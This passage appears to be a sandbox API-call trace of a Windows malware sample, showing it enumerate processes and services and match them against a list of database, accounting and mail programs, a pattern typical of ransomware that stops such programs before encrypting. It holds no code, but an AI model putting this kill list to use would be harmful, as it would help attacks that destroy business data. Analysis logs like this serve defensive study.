-1 [0179.866] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0179.866] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0179.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0179.866] lstrlenW (lpString="lmhosts") returned 7 [0179.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0179.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0179.866] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0179.866] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0179.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0179.866] lstrlenW (lpString="MMCSS") returned 5 [0179.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0179.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0179.866] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0179.866] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0179.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0179.867] lstrlenW (lpString="MpsSvc") returned 6 [0179.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0179.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0179.867] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0179.867] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0179.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0179.867] lstrlenW (lpString="Netman") returned 6 [0179.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0179.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0179.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0179.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0179.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0179.867] lstrlenW (lpString="netprofm") returned 8 [0179.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0179.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0179.867] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0179.867] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0179.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0179.867] lstrlenW (lpString="NlaSvc") returned 6 [0179.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0179.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0179.867] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0179.867] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0179.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0179.867] lstrlenW (lpString="nsi") returned 3 [0179.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0179.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0179.867] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0179.868] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0179.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0179.868] lstrlenW (lpString="PcaSvc") returned 6 [0179.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0179.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0179.868] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0179.868] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0179.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0179.868] lstrlenW (lpString="PlugPlay") returned 8 [0179.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0179.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0179.868] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0179.868] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0179.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0179.868] lstrlenW (lpString="Power") returned 5 [0179.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0179.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0179.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0179.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0179.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0179.868] lstrlenW (lpString="ProfSvc") returned 7 [0179.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0179.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0179.868] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0179.868] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0179.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0179.868] lstrlenW (lpString="RpcEptMapper") returned 12 [0179.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0179.868] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0179.868] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0179.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0179.869] lstrlenW (lpString="RpcSs") returned 5 [0179.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0179.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0179.869] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0179.869] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0179.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0179.869] lstrlenW (lpString="SamSs") returned 5 [0179.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0179.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0179.869] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0179.869] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0179.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0179.869] lstrlenW (lpString="Schedule") returned 8 [0179.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0179.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0179.869] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0179.869] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0179.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0179.869] lstrlenW (lpString="SENS") returned 4 [0179.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0179.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0179.869] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0179.869] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0179.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0179.869] lstrlenW (lpString="ShellHWDetection") returned 16 [0179.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0179.869] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0179.869] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0179.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0179.870] lstrlenW (lpString="Spooler") returned 7 [0179.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0179.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0179.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0179.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0179.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0179.870] lstrlenW (lpString="SysMain") returned 7 [0179.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0179.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0179.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0179.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0179.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0179.870] lstrlenW (lpString="Themes") returned 6 [0179.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0179.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0179.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0179.870] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0179.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0179.870] lstrlenW (lpString="TrkWks") returned 6 [0179.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0179.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0179.870] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0179.870] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0179.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0179.870] lstrlenW (lpString="UxSms") returned 5 [0179.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0179.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0179.870] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0179.870] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0179.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0179.870] lstrlenW (lpString="WdiServiceHost") returned 14 [0179.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0179.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0179.871] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0179.871] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0179.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0179.871] lstrlenW (lpString="WdiSystemHost") returned 13 [0179.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0179.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0179.871] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0179.871] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0179.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0179.871] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0179.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0179.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0179.871] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0179.871] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0179.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0179.871] lstrlenW (lpString="Winmgmt") returned 7 [0179.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0179.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0179.871] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0179.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0179.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0179.871] lstrlenW (lpString="WPDBusEnum") returned 10 [0179.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0179.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0179.871] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0179.871] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0179.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0179.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0179.872] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0179.873] Process32FirstW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0179.873] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0179.874] lstrlenW (lpString="System") returned 6 [0179.874] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0179.874] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0179.874] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0179.874] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0179.874] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0179.874] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0179.874] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0179.874] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0179.874] lstrlenW (lpString="smss.exe") returned 8 [0179.874] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0179.874] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0179.875] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0179.875] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0179.875] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0179.875] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0179.875] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0179.875] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.875] lstrlenW (lpString="csrss.exe") returned 9 [0179.875] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0179.875] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0179.875] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0179.875] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0179.875] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0179.875] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0179.875] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0179.875] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0179.875] lstrlenW (lpString="wininit.exe") returned 11 [0179.876] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0179.876] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0179.876] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0179.876] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0179.876] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0179.876] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0179.876] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0179.876] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0179.876] lstrlenW (lpString="csrss.exe") returned 9 [0179.876] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0179.876] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0179.876] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0179.876] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0179.876] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0179.876] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0179.877] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0179.877] lstrlenW (lpString="winlogon.exe") returned 12 [0179.877] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0179.877] lstrlenW (lpString="services.exe") returned 12 [0179.877] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0179.878] lstrlenW (lpString="lsass.exe") returned 9 [0179.878] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0179.878] lstrlenW (lpString="lsm.exe") returned 7 [0179.878] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.878] lstrlenW (lpString="svchost.exe") returned 11 [0179.878] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.879] lstrlenW (lpString="svchost.exe") returned 11 [0179.879] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.879] lstrlenW (lpString="svchost.exe") returned 11 [0179.879] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.880] lstrlenW (lpString="svchost.exe") returned 11 [0179.880] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.880] lstrlenW (lpString="svchost.exe") returned 11 [0179.880] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0179.880] lstrlenW (lpString="audiodg.exe") returned 11 [0179.880] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.881] lstrlenW (lpString="svchost.exe") returned 11 [0179.881] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0179.881] lstrlenW (lpString="explorer.exe") returned 12 [0179.881] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0179.881] lstrlenW (lpString="dwm.exe") returned 7 [0179.881] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.882] lstrlenW (lpString="svchost.exe") returned 11 [0179.882] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0179.882] lstrlenW (lpString="n.exe") returned 5 [0179.882] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0179.882] lstrlenW (lpString="spoolsv.exe") returned 11 [0179.882] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.883] lstrlenW (lpString="svchost.exe") returned 11 [0179.883] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0179.883] lstrlenW (lpString="taskhost.exe") returned 12 [0179.883] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0179.883] lstrlenW (lpString="reader_sl.exe") returned 13 [0179.884] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0179.884] lstrlenW (lpString="n.exe") returned 5 [0179.884] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0179.884] lstrlenW (lpString="n.exe") returned 5 [0179.884] Process32NextW (in: hSnapshot=0x1a4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0179.885] CloseHandle (hObject=0x1a4) returned 1 [0179.885] Sleep (dwMilliseconds=0x1f4) [0180.710] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0180.710] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, 